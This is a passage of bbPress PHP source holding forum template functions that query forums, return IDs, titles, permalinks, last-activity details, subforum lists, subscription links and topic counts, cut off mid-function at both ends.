 * @return object Multidimensional array of forum information
 */
function bbp_has_forums( $args = array() ) {

	// Forum archive only shows root
	if ( bbp_is_forum_archive() ) {
		$default_post_parent = 0;

	// User subscriptions shows any
	} elseif ( bbp_is_subscriptions() ) {
		$default_post_parent = 'any';

	// Could be anything, so look for possible parent ID
	} else {
		$default_post_parent = bbp_get_forum_id();
	}

	$default_forum_search = bbp_sanitize_search_request( 'fs' );

	// Default argument array
	$default = array(
		'post_type'           => bbp_get_forum_post_type(),
		'post_parent'         => $default_post_parent,
		'post_status'         => bbp_get_public_status_id(),
		'posts_per_page'      => get_option( '_bbp_forums_per_page', 50 ),
		'orderby'             => 'menu_order title',
		'order'               => 'ASC',
		'no_found_rows'       => true,
		'ignore_sticky_posts' => true,

		// Conditionally prime the cache for last active posts
		'update_post_family_cache' => true
	);

	// Only add 's' arg if searching for forums
	// See https://bbpress.trac.wordpress.org/ticket/2607
	if ( ! empty( $default_forum_search ) ) {
		$default['s'] = $default_forum_search;
	}

	// Parse arguments with default forum query for most circumstances
	$r = bbp_parse_args( $args, $default, 'has_forums' );

	// Run the query
	$bbp              = bbpress();
	$bbp->forum_query = new WP_Query( $r );

	// Maybe prime last active posts
	if ( ! empty( $r['update_post_family_cache'] ) ) {
		bbp_update_post_family_caches( $bbp->forum_query->posts );
	}

	// Filter & return
	return apply_filters( 'bbp_has_forums', $bbp->forum_query->have_posts(), $bbp->forum_query );
}

/**
 * Whether there are more forums available in the loop
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @return object Forum information
 */
function bbp_forums() {

	// Put into variable to check against next
	$have_posts = bbpress()->forum_query->have_posts();

	// Reset the post data when finished
	if ( empty( $have_posts ) ) {
		wp_reset_postdata();
	}

	return $have_posts;
}

/**
 * Loads up the current forum in the loop
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @return object Forum information
 */
function bbp_the_forum() {
	return bbpress()->forum_query->the_post();
}

/** Forum *********************************************************************/

/**
 * Output forum id
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param $forum_id Optional. Used to check emptiness
 */
function bbp_forum_id( $forum_id = 0 ) {
	echo bbp_get_forum_id( $forum_id );
}
	/**
	 * Return the forum id
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param $forum_id Optional. Used to check emptiness
	 * @return int The forum id
	 */
	function bbp_get_forum_id( $forum_id = 0 ) {
		$bbp      = bbpress();
		$wp_query = bbp_get_wp_query();

		// Easy empty checking
		if ( ! empty( $forum_id ) && is_numeric( $forum_id ) ) {
			$bbp_forum_id = $forum_id;

		// Currently inside a forum loop
		} elseif ( ! empty( $bbp->forum_query->in_the_loop ) && isset( $bbp->forum_query->post->ID ) ) {
			$bbp_forum_id = $bbp->forum_query->post->ID;

		// Currently inside a search loop
		} elseif ( ! empty( $bbp->search_query->in_the_loop ) && isset( $bbp->search_query->post->ID ) && bbp_is_forum( $bbp->search_query->post->ID ) ) {
			$bbp_forum_id = $bbp->search_query->post->ID;

		// Currently viewing a forum
		} elseif ( ( bbp_is_single_forum() || bbp_is_forum_edit() ) && ! empty( $bbp->current_forum_id ) ) {
			$bbp_forum_id = $bbp->current_forum_id;

		// Currently viewing a forum
		} elseif ( ( bbp_is_single_forum() || bbp_is_forum_edit() ) && isset( $wp_query->post->ID ) ) {
			$bbp_forum_id = $wp_query->post->ID;

		// Currently viewing a topic
		} elseif ( bbp_is_single_topic() ) {
			$bbp_forum_id = bbp_get_topic_forum_id();

		// Fallback
		} else {
			$bbp_forum_id = 0;
		}

		// Filter & return
		return (int) apply_filters( 'bbp_get_forum_id', (int) $bbp_forum_id, $forum_id );
	}

/**
 * Gets a forum
 *
 * @since 2.0.0 bbPress (r2787)
 *
 * @param int|object $forum forum id or forum object
 * @param string $output Optional. OBJECT, ARRAY_A, or ARRAY_N. Default = OBJECT
 * @param string $filter Optional Sanitation filter. See {@link sanitize_post()}
 *
 * @return mixed Null if error or forum (in specified form) if success
 */
function bbp_get_forum( $forum, $output = OBJECT, $filter = 'raw' ) {

	// Maybe get ID from empty or int
	if ( empty( $forum ) || is_numeric( $forum ) ) {
		$forum = bbp_get_forum_id( $forum );
	}

	// Bail if no post object
	$forum = get_post( $forum, OBJECT, $filter );
	if ( empty( $forum ) ) {
		return $forum;
	}

	// Bail if not correct post type
	if ( $forum->post_type !== bbp_get_forum_post_type() ) {
		return null;
	}

	// Default return value is OBJECT
	$retval = $forum;

	// Array A
	if ( $output === ARRAY_A ) {
		$retval = get_object_vars( $forum );

	// Array N
	} elseif ( $output === ARRAY_N ) {
		$retval = array_values( get_object_vars( $forum ) );
	}

	// Filter & return
	return apply_filters( 'bbp_get_forum', $retval, $forum, $output, $filter );
}

/**
 * Output the link to the forum
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $forum_id Optional. Forum id
 * @param string $redirect_to Optional. Pass a redirect value for use with
 *                              shortcodes and other fun things.
 */
function bbp_forum_permalink( $forum_id = 0, $redirect_to = '' ) {
	echo esc_url( bbp_get_forum_permalink( $forum_id, $redirect_to ) );
}
	/**
	 * Return the link to the forum
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @param string $redirect_to Optional. Pass a redirect value for use with
	 *                              shortcodes and other fun things.
	 *
	 * @return string Permanent link to forum
	 */
	function bbp_get_forum_permalink( $forum_id = 0, $redirect_to = '' ) {
		$forum_id = bbp_get_forum_id( $forum_id );

		// Use the redirect address
		if ( ! empty( $redirect_to ) ) {
			$forum_permalink = esc_url_raw( $redirect_to );

		// Use the topic permalink
		} else {
			$forum_permalink = get_permalink( $forum_id );
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_permalink', $forum_permalink, $forum_id );
	}

/**
 * Output the title of the forum
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_title( $forum_id = 0 ) {
	echo bbp_get_forum_title( $forum_id );
}
	/**
	 * Return the title of the forum
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return string Title of forum
	 */
	function bbp_get_forum_title( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$title    = get_the_title( $forum_id );

		// Filter & return
		return apply_filters( 'bbp_get_forum_title', $title, $forum_id );
	}

/**
 * Output the forum archive title
 *
 * @since 2.0.0 bbPress (r3249)
 *
 * @param string $title Default text to use as title
 */
function bbp_forum_archive_title( $title = '' ) {
	echo bbp_get_forum_archive_title( $title );
}
	/**
	 * Return the forum archive title
	 *
	 * @since 2.0.0 bbPress (r3249)
	 *
	 * @param string $title Default text to use as title
	 *
	 * @return string The forum archive title
	 */
	function bbp_get_forum_archive_title( $title = '' ) {

		// If no title was passed
		if ( empty( $title ) ) {

			// Set root text to page title
			$page = bbp_get_page_by_path( bbp_get_root_slug() );
			if ( ! empty( $page ) ) {
				$title = get_the_title( $page->ID );

			// Default to forum post type name label
			} else {
				$fto    = get_post_type_object( bbp_get_forum_post_type() );
				$title  = $fto->labels->name;
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_archive_title', $title );
	}

/**
 * Output the content of the forum
 *
 * @since 2.0.0 bbPress (r2780)
 *
 * @param int $forum_id Optional. Topic id
 */
function bbp_forum_content( $forum_id = 0 ) {
	echo bbp_get_forum_content( $forum_id );
}
	/**
	 * Return the content of the forum
	 *
	 * @since 2.0.0 bbPress (r2780)
	 *
	 * @param int $forum_id Optional. Topic id
	 *
	 * @return string Content of the forum
	 */
	function bbp_get_forum_content( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );

		// Check if password is required
		if ( post_password_required( $forum_id ) ) {
			return get_the_password_form();
		}

		$content = get_post_field( 'post_content', $forum_id );

		// Filter & return
		return apply_filters( 'bbp_get_forum_content', $content, $forum_id );
	}

/**
 * Allow forum rows to have administrative actions
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @todo Links and filter
 */
function bbp_forum_row_actions() {
	do_action( 'bbp_forum_row_actions' );
}

/**
 * Output the forums last active ID
 *
 * @since 2.0.0 bbPress (r2860)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_active_id( $forum_id = 0 ) {
	echo bbp_get_forum_last_active_id( $forum_id );
}
	/**
	 * Return the forums last active ID
	 *
	 * @since 2.0.0 bbPress (r2860)
	 *
	 * @param int $forum_id Optional. Forum id
	 *                        the last active id and forum id
	 * @return int Forum's last active id
	 */
	function bbp_get_forum_last_active_id( $forum_id = 0 ) {
		$forum_id  = bbp_get_forum_id( $forum_id );
		$active_id = (int) get_post_meta( $forum_id, '_bbp_last_active_id', true );

		// Filter & return
		return (int) apply_filters( 'bbp_get_forum_last_active_id', $active_id, $forum_id );
	}

/**
 * Output the forums last update date/time (aka freshness)
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_active_time( $forum_id = 0 ) {
	echo bbp_get_forum_last_active_time( $forum_id );
}
	/**
	 * Return the forums last update date/time (aka freshness)
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return string Forum last update date/time (freshness)
	 */
	function bbp_get_forum_last_active_time( $forum_id = 0 ) {

		// Verify forum and get last active meta
		$forum_id    = bbp_get_forum_id( $forum_id );
		$last_active = get_post_meta( $forum_id, '_bbp_last_active_time', true );

		if ( empty( $last_active ) ) {
			$reply_id = bbp_get_forum_last_reply_id( $forum_id );
			if ( ! empty( $reply_id ) ) {
				$last_active = get_post_field( 'post_date', $reply_id );
			} else {
				$topic_id = bbp_get_forum_last_topic_id( $forum_id );
				if ( ! empty( $topic_id ) ) {
					$last_active = bbp_get_topic_last_active_time( $topic_id );
				}
			}
		}

		$active_time = ! empty( $last_active ) ? bbp_get_time_since( bbp_convert_date( $last_active ) ) : '';

		// Filter & return
		return apply_filters( 'bbp_get_forum_last_active', $active_time, $forum_id );
	}

/**
 * Output link to the most recent activity inside a forum.
 *
 * Outputs a complete link with attributes and content.
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_freshness_link( $forum_id = 0) {
	echo bbp_get_forum_freshness_link( $forum_id );
}
	/**
	 * Returns link to the most recent activity inside a forum.
	 *
	 * Returns a complete link with attributes and content.
	 *
	 * @since 2.0.0 bbPress (r2625)
	 *
	 * @param int $forum_id Optional. Forum id
	 */
	function bbp_get_forum_freshness_link( $forum_id = 0 ) {
		$forum_id  = bbp_get_forum_id( $forum_id );
		$active_id = bbp_get_forum_last_active_id( $forum_id );
		$link_url  = $title = '';

		if ( empty( $active_id ) ) {
			$active_id = bbp_get_forum_last_reply_id( $forum_id );
		}

		if ( empty( $active_id ) ) {
			$active_id = bbp_get_forum_last_topic_id( $forum_id );
		}

		if ( bbp_is_topic( $active_id ) ) {
			$link_url = bbp_get_forum_last_topic_permalink( $forum_id );
			$title    = bbp_get_forum_last_topic_title( $forum_id );
		} elseif ( bbp_is_reply( $active_id ) ) {
			$link_url = bbp_get_forum_last_reply_url( $forum_id );
			$title    = bbp_get_forum_last_reply_title( $forum_id );
		}

		$time_since = bbp_get_forum_last_active_time( $forum_id );

		if ( ! empty( $time_since ) && ! empty( $link_url ) ) {
			$anchor = '<a href="' . esc_url( $link_url ) . '" title="' . esc_attr( $title ) . '">' . esc_html( $time_since ) . '</a>';
		} else {
			$anchor = esc_html__( 'No Topics', 'bbpress' );
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_freshness_link', $anchor, $forum_id, $time_since, $link_url, $title, $active_id );
	}

/**
 * Output parent ID of a forum, if exists
 *
 * @since 2.1.0 bbPress (r3675)
 *
 * @param int $forum_id Forum ID
 */
function bbp_forum_parent_id( $forum_id = 0 ) {
	echo bbp_get_forum_parent_id( $forum_id );
}
	/**
	 * Return ID of forum parent, if exists
	 *
	 * @since 2.1.0 bbPress (r3675)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return int Forum parent
	 */
	function bbp_get_forum_parent_id( $forum_id = 0 ) {
		$forum_id  = bbp_get_forum_id( $forum_id );
		$parent_id = (int) get_post_field( 'post_parent', $forum_id );

		// Meta-data fallback
		if ( empty( $parent_id ) ) {
			$parent_id = (int) get_post_meta( $forum_id, '_bbp_forum_id', true );
		}

		// Filter
		if ( ! empty( $parent_id ) ) {
			$parent_id = (int) bbp_get_forum_id( $parent_id );
		}

		// Filter & return
		return (int) apply_filters( 'bbp_get_forum_parent_id', $parent_id, $forum_id );
	}

/**
 * Return array of parent forums
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $forum_id Optional. Forum id
 * @return array Forum ancestors
 */
function bbp_get_forum_ancestors( $forum_id = 0 ) {
	$forum_id  = bbp_get_forum_id( $forum_id );
	$ancestors = array();
	$forum     = bbp_get_forum( $forum_id );

	if ( ! empty( $forum ) ) {
		while ( 0 !== (int) $forum->post_parent ) {
			$ancestors[] = $forum->post_parent;
			$forum       = bbp_get_forum( $forum->post_parent );
		}
	}

	// Filter & return
	return apply_filters( 'bbp_get_forum_ancestors', $ancestors, $forum_id );
}

/**
 * Return subforums of given forum
 *
 * @since 2.0.0 bbPress (r2747)
 *
 * @param array $args All the arguments supported by {@link WP_Query}
 * @return mixed false if none, array of subs if yes
 */
function bbp_forum_get_subforums( $args = array() ) {

	// Default return value
	$retval = array();

	// Use passed integer as post_parent
	if ( is_numeric( $args ) && ! empty( $args ) ) {
		$args = array( 'post_parent' => bbp_get_forum_id( $args ) );
	}

	// Parse arguments against default values
	$r = bbp_parse_args( $args, array(
		'post_parent'         => 0,
		'post_type'           => bbp_get_forum_post_type(),
		'posts_per_page'      => get_option( '_bbp_forums_per_page', 50 ),
		'orderby'             => 'menu_order title',
		'order'               => 'ASC',
		'ignore_sticky_posts' => true,
		'no_found_rows'       => true
	), 'forum_get_subforums' );

	// Ensure post_parent is properly set
	$r['post_parent'] = bbp_get_forum_id( $r['post_parent'] );

	// Query if post_parent has subforums
	if ( ! empty( $r['post_parent'] ) && bbp_get_forum_subforum_count( $r['post_parent'], true ) ) {
		$get_posts = new WP_Query();
		$retval    = $get_posts->query( $r );
	}

	// Filter & return
	return (array) apply_filters( 'bbp_forum_get_subforums', $retval, $r, $args );
}

/**
 * Output a list of forums (can be used to list subforums)
 *
 * @since 2.0.0 bbPress (r2708)
 *
 * @param array $args The function supports these args:
 *  - before: To put before the output. Defaults to '<ul class="bbp-forums-list">'
 *  - after: To put after the output. Defaults to '</ul>'
 *  - link_before: To put before every link. Defaults to '<li class="bbp-forum">'
 *  - link_after: To put after every link. Defaults to '</li>'
 *  - sep: Separator. Defaults to ''. Make sure your markup is valid!
 *  - count_before: String before each count Defaults to ' ('
 *  - count_after: String before each count Defaults to ')'
 *  - count_sep: Count separator. Defaults to ', '
 *  - forum_id: Forum id. Defaults to ''
 *  - show_topic_count - To show forum topic count or not. Defaults to true
 *  - show_reply_count - To show forum reply count or not. Defaults to true
 */
function bbp_list_forums( $args = array() ) {

	// Parse arguments against default values
	$r = bbp_parse_args( $args, array(
		'before'           => '<ul class="bbp-forums-list">',
		'after'            => '</ul>',
		'link_before'      => '<li class="bbp-forum css-sep">',
		'link_after'       => '</li>',
		'sep'              => '',
		'count_before'     => ' (',
		'count_after'      => ')',
		'count_sep'        => ', ',
		'forum_id'         => bbp_get_forum_id(),
		'show_topic_count' => true,
		'show_reply_count' => true,
		'echo'             => true,

		// Retired, use 'sep' instead
		'separator'        => false
	), 'list_forums' );

	/**
	 * Necessary for backwards compatibility
	 * @see https://bbpress.trac.wordpress.org/ticket/2900
	 */
	if ( ! empty( $r['separator'] ) ) {
		$r['sep'] = $r['separator'];
	}

	// Default values
	$links  = array();
	$output = '';

	// Query for subforums
	$sub_forums = ! empty( $r['forum_id'] )
		? bbp_forum_get_subforums( $r['forum_id'] )
		: array();

	// Loop through forums and create a list
	if ( ! empty( $sub_forums ) ) {
		foreach ( $sub_forums as $sub_forum ) {

			// Get forum details
			$count     = array();
			$permalink = bbp_get_forum_permalink( $sub_forum->ID );
			$title     = bbp_get_forum_title( $sub_forum->ID );

			// Show topic count
			if ( ! empty( $r['show_topic_count'] ) && ! bbp_is_forum_category( $sub_forum->ID ) ) {
				$count['topic'] = bbp_get_forum_topic_count( $sub_forum->ID );
			}

			// Show reply count
			if ( ! empty( $r['show_reply_count'] ) && ! bbp_is_forum_category( $sub_forum->ID ) ) {
				$count['reply'] = bbp_get_forum_reply_count( $sub_forum->ID );
			}

			// Counts to show
			$counts = ! empty( $count )
				? $r['count_before'] . implode( $r['count_sep'], $count ) . $r['count_after']
				: '';

			// Subforum classes
			$subforum_classes      = array( 'bbp-forum-link' );
			$subforum_classes      = apply_filters( 'bbp_list_forums_subforum_classes', $subforum_classes, $sub_forum->ID );

			// This could use bbp_get_forum_class() eventually...
			$subforum_classes_attr = 'class="' . implode( ' ', array_map( 'sanitize_html_class', $subforum_classes ) ) . '"';

			// Build this sub forums link
			$links[] = $r['link_before'] . '<a href="' . esc_url( $permalink ) . '" ' . $subforum_classes_attr . '>' . $title . $counts . '</a>' . $r['link_after'];
		}

		// Maybe wrap output
		$output = ! empty( $links )
			? $r['before'] . implode( $r['sep'], $links ) . $r['after']
			: '';
	}

	// Filter output
	$the_list = apply_filters( 'bbp_list_forums', $output, $r, $args );

	// Echo or return the forums list
	if ( ! empty( $r['echo'] ) ) {
		echo $the_list;
	} else {
		return $the_list;
	}
}

/** Forum Subscriptions *******************************************************/

/**
 * Output the forum subscription link
 *
 * @since 2.5.0 bbPress (r5156)
 * @since 2.6.0 bbPress (r6308) Add 'redirect_to' support
 */
function bbp_forum_subscription_link( $args = array() ) {
	echo bbp_get_forum_subscription_link( $args );
}

	/**
	 * Get the forum subscription link
	 *
	 * A custom wrapper for bbp_get_user_subscribe_link()
	 *
	 * @since 2.5.0 bbPress (r5156)
	 * @since 2.6.0 bbPress (r6308) Add 'redirect_to' support
	 */
	function bbp_get_forum_subscription_link( $args = array() ) {

		// Defaults
		$retval      = false;
		$redirect_to = bbp_is_subscriptions()
			? bbp_get_subscriptions_permalink()
			: '';

		// Parse the arguments
		$r = bbp_parse_args( $args, array(
			'user_id'     => bbp_get_current_user_id(),
			'object_id'   => bbp_get_forum_id(),
			'object_type' => 'post',
			'before'      => '',
			'after'       => '',
			'subscribe'   => esc_html__( 'Subscribe',   'bbpress' ),
			'unsubscribe' => esc_html__( 'Unsubscribe', 'bbpress' ),
			'redirect_to' => $redirect_to
		), 'get_forum_subscribe_link' );

		// No link for categories until we support subscription hierarchy
		// @see https://bbpress.trac.wordpress.org/ticket/2475
		if ( ! bbp_is_forum_category() ) {
			$retval = bbp_get_user_subscribe_link( $r );
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_subscribe_link', $retval, $r, $args );
	}

/** Forum Last Topic **********************************************************/

/**
 * Output the forum's last topic id
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_topic_id( $forum_id = 0 ) {
	echo bbp_get_forum_last_topic_id( $forum_id );
}
	/**
	 * Return the forum's last topic id
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return int Forum's last topic id
	 */
	function bbp_get_forum_last_topic_id( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$topic_id = (int) get_post_meta( $forum_id, '_bbp_last_topic_id', true );

		// Filter & return
		return (int) apply_filters( 'bbp_get_forum_last_topic_id', $topic_id, $forum_id );
	}

/**
 * Output the title of the last topic inside a forum
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_topic_title( $forum_id = 0 ) {
	echo bbp_get_forum_last_topic_title( $forum_id );
}
	/**
	 * Return the title of the last topic inside a forum
	 *
	 * @since 2.0.0 bbPress (r2625)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return string Forum's last topic's title
	 */
	function bbp_get_forum_last_topic_title( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$topic_id = bbp_get_forum_last_topic_id( $forum_id );
		$title    = ! empty( $topic_id ) ? bbp_get_topic_title( $topic_id ) : '';

		// Filter & return
		return apply_filters( 'bbp_get_forum_last_topic_title', $title, $forum_id );
	}

/**
 * Output the link to the last topic in a forum
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_topic_permalink( $forum_id = 0 ) {
	echo esc_url( bbp_get_forum_last_topic_permalink( $forum_id ) );
}
	/**
	 * Return the link to the last topic in a forum
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return string Permanent link to topic
	 */
	function bbp_get_forum_last_topic_permalink( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$topic_id = bbp_get_forum_last_topic_id( $forum_id );
		$link     = bbp_get_topic_permalink( $topic_id );

		// Filter & return
		return apply_filters( 'bbp_get_forum_last_topic_permalink', $link, $forum_id, $topic_id );
	}

/**
 * Return the author ID of the last topic of a forum
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $forum_id Optional. Forum id
 * @return int Forum's last topic's author id
 */
function bbp_get_forum_last_topic_author_id( $forum_id = 0 ) {
	$forum_id  = bbp_get_forum_id( $forum_id );
	$topic_id  = bbp_get_forum_last_topic_id( $forum_id );
	$author_id = bbp_get_topic_author_id( $topic_id );

	// Filter & return
	return (int) apply_filters( 'bbp_get_forum_last_topic_author_id', (int) $author_id, $forum_id, $topic_id );
}

/**
 * Output link to author of last topic of forum
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_topic_author_link( $forum_id = 0 ) {
	echo bbp_get_forum_last_topic_author_link( $forum_id );
}
	/**
	 * Return link to author of last topic of forum
	 *
	 * @since 2.0.0 bbPress (r2625)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return string Forum's last topic's author link
	 */
	function bbp_get_forum_last_topic_author_link( $forum_id = 0 ) {
		$forum_id    = bbp_get_forum_id( $forum_id );
		$author_id   = bbp_get_forum_last_topic_author_id( $forum_id );
		$author_link = bbp_get_user_profile_link( $author_id );

		// Filter & return
		return apply_filters( 'bbp_get_forum_last_topic_author_link', $author_link, $forum_id );
	}

/** Forum Last Reply **********************************************************/

/**
 * Output the forums last reply id
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_reply_id( $forum_id = 0 ) {
	echo bbp_get_forum_last_reply_id( $forum_id );
}
	/**
	 * Return the forums last reply id
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return int Forum's last reply id
	 */
	function bbp_get_forum_last_reply_id( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$reply_id = (int) get_post_meta( $forum_id, '_bbp_last_reply_id', true );

		// Filter & return
		return (int) apply_filters( 'bbp_get_forum_last_reply_id', $reply_id, $forum_id );
	}

/**
 * Output the title of the last reply inside a forum
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_reply_title( $forum_id = 0 ) {
	echo bbp_get_forum_last_reply_title( $forum_id );
}
	/**
	 * Return the title of the last reply inside a forum
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return string
	 */
	function bbp_get_forum_last_reply_title( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$reply_id = bbp_get_forum_last_reply_id( $forum_id );
		$title    = bbp_get_reply_title( $reply_id );

		// Filter & return
		return apply_filters( 'bbp_get_forum_last_reply_title', $title, $forum_id, $reply_id );
	}

/**
 * Output the link to the last reply in a forum
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_reply_permalink( $forum_id = 0 ) {
	echo esc_url( bbp_get_forum_last_reply_permalink( $forum_id ) );
}
	/**
	 * Return the link to the last reply in a forum
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param int $forum_id Optional. Forum id
	 *
	 * @return string Permanent link to the forum's last reply
	 */
	function bbp_get_forum_last_reply_permalink( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$reply_id = bbp_get_forum_last_reply_id( $forum_id );
		$link     = bbp_get_reply_permalink( $reply_id );

		// Filter & return
		return apply_filters( 'bbp_get_forum_last_reply_permalink', $link, $forum_id, $reply_id );
	}

/**
 * Output the url to the last reply in a forum
 *
 * @since 2.0.0 bbPress (r2683)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_reply_url( $forum_id = 0 ) {
	echo esc_url( bbp_get_forum_last_reply_url( $forum_id ) );
}
	/**
	 * Return the url to the last reply in a forum
	 *
	 * @since 2.0.0 bbPress (r2683)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return string Paginated URL to latest reply
	 */
	function bbp_get_forum_last_reply_url( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );

		// If forum has replies, get the last reply and use its url
		$reply_id = bbp_get_forum_last_reply_id( $forum_id );
		if ( ! empty( $reply_id ) ) {
			$reply_url = bbp_get_reply_url( $reply_id );

		// No replies, so look for topics and use last permalink
		} else {
			$reply_url = bbp_get_forum_last_topic_permalink( $forum_id );

			// No topics either, so set $reply_url as empty string
			if ( empty( $reply_url ) ) {
				$reply_url = '';
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_last_reply_url', $reply_url, $forum_id, $reply_id );
	}

/**
 * Output author ID of last reply of forum
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_reply_author_id( $forum_id = 0 ) {
	echo bbp_get_forum_last_reply_author_id( $forum_id );
}
	/**
	 * Return author ID of last reply of forum
	 *
	 * @since 2.0.0 bbPress (r2625)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return int Forum's last reply author id
	 */
	function bbp_get_forum_last_reply_author_id( $forum_id = 0 ) {
		$forum_id  = bbp_get_forum_id( $forum_id );
		$reply_id  = bbp_get_forum_last_reply_id( $forum_id );
		$author_id = bbp_get_reply_author_id( $reply_id );

		// Filter & return
		return apply_filters( 'bbp_get_forum_last_reply_author_id', $author_id, $forum_id, $reply_id );
	}

/**
 * Output link to author of last reply of forum
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_last_reply_author_link( $forum_id = 0 ) {
	echo bbp_get_forum_last_reply_author_link( $forum_id );
}
	/**
	 * Return link to author of last reply of forum
	 *
	 * @since 2.0.0 bbPress (r2625)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return string Link to author of last reply of forum
	 */
	function bbp_get_forum_last_reply_author_link( $forum_id = 0 ) {
		$forum_id    = bbp_get_forum_id( $forum_id );
		$author_id   = bbp_get_forum_last_reply_author_id( $forum_id );
		$author_link = bbp_get_user_profile_link( $author_id );

		// Filter & return
		return apply_filters( 'bbp_get_forum_last_reply_author_link', $author_link, $forum_id, $author_id );
	}

/** Forum Counts **************************************************************/

/**
 * Output the topics link of the forum
 *
 * @since 2.0.0 bbPress (r2883)
 *
 * @param int $forum_id Optional. Topic id
 */
function bbp_forum_topics_link( $forum_id = 0 ) {
	echo bbp_get_forum_topics_link( $forum_id );
}

	/**
	 * Return the topics link of the forum
	 *
	 * @since 2.0.0 bbPress (r2883)
	 *
	 * @param int $forum_id Optional. Topic id
	 */
	function bbp_get_forum_topics_link( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$link     = bbp_get_forum_permalink( $forum_id );
		$topics   = sprintf( _n( '%s topic', '%s topics', bbp_get_forum_topic_count( $forum_id, true, true ), 'bbpress' ), bbp_get_forum_topic_count( $forum_id, true, false ) );

		// First link never has view=all
		$retval = bbp_get_view_all( 'edit_others_topics' )
			? "<a href='" . esc_url( bbp_remove_view_all( $link ) ) . "'>" . esc_html( $topics ) . "</a>"
			: esc_html( $topics );

		// Get deleted topics
		$deleted_int = bbp_get_forum_topic_count_hidden( $forum_id, false, true );

		// This forum has hidden topics
		if ( ! empty( $deleted_int ) && current_user_can( 'edit_others_topics' ) ) {

			// Hidden text
			$deleted_num = bbp_get_forum_topic_count_hidden( $forum_id, false, false );
			$extra       = ' ' . sprintf( _n( '(+%s hidden)', '(+%s hidden)', $deleted_int, 'bbpress' ), $deleted_num );

			// Hidden link
			$retval .= ! bbp_get_view_all( 'edit_others_topics' )
				? " <a href='" . esc_url( bbp_add_view_all( $link, true ) ) . "'>" . esc_html( $extra ) . "</a>"
				: " {$extra}";
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_topics_link', $retval, $forum_id );
	}

/**
 * Output total sub-forum count of a forum
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $forum_id Optional. Forum id to check
 * @param boolean $integer Optional. Whether or not to format the result
 */
function bbp_forum_subforum_count( $forum_id = 0, $integer = false ) {
	echo bbp_get_forum_subforum_count( $forum_id, $integer );
}
	/**
	 * Return total subforum count of a forum
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @param boolean $integer Optional. Whether or not to format the result
	 * @return int Forum's subforum count
	 */
	function bbp_get_forum_subforum_count( $forum_id = 0, $integer = false ) {
		$forum_id    = bbp_get_forum_id( $forum_id );
		$forum_count = (int) get_post_meta( $forum_id, '_bbp_forum_subforum_count', true );
		$filter      = ( true === $integer )
			? 'bbp_get_forum_subforum_count_int'
			: 'bbp_get_forum_subforum_count';

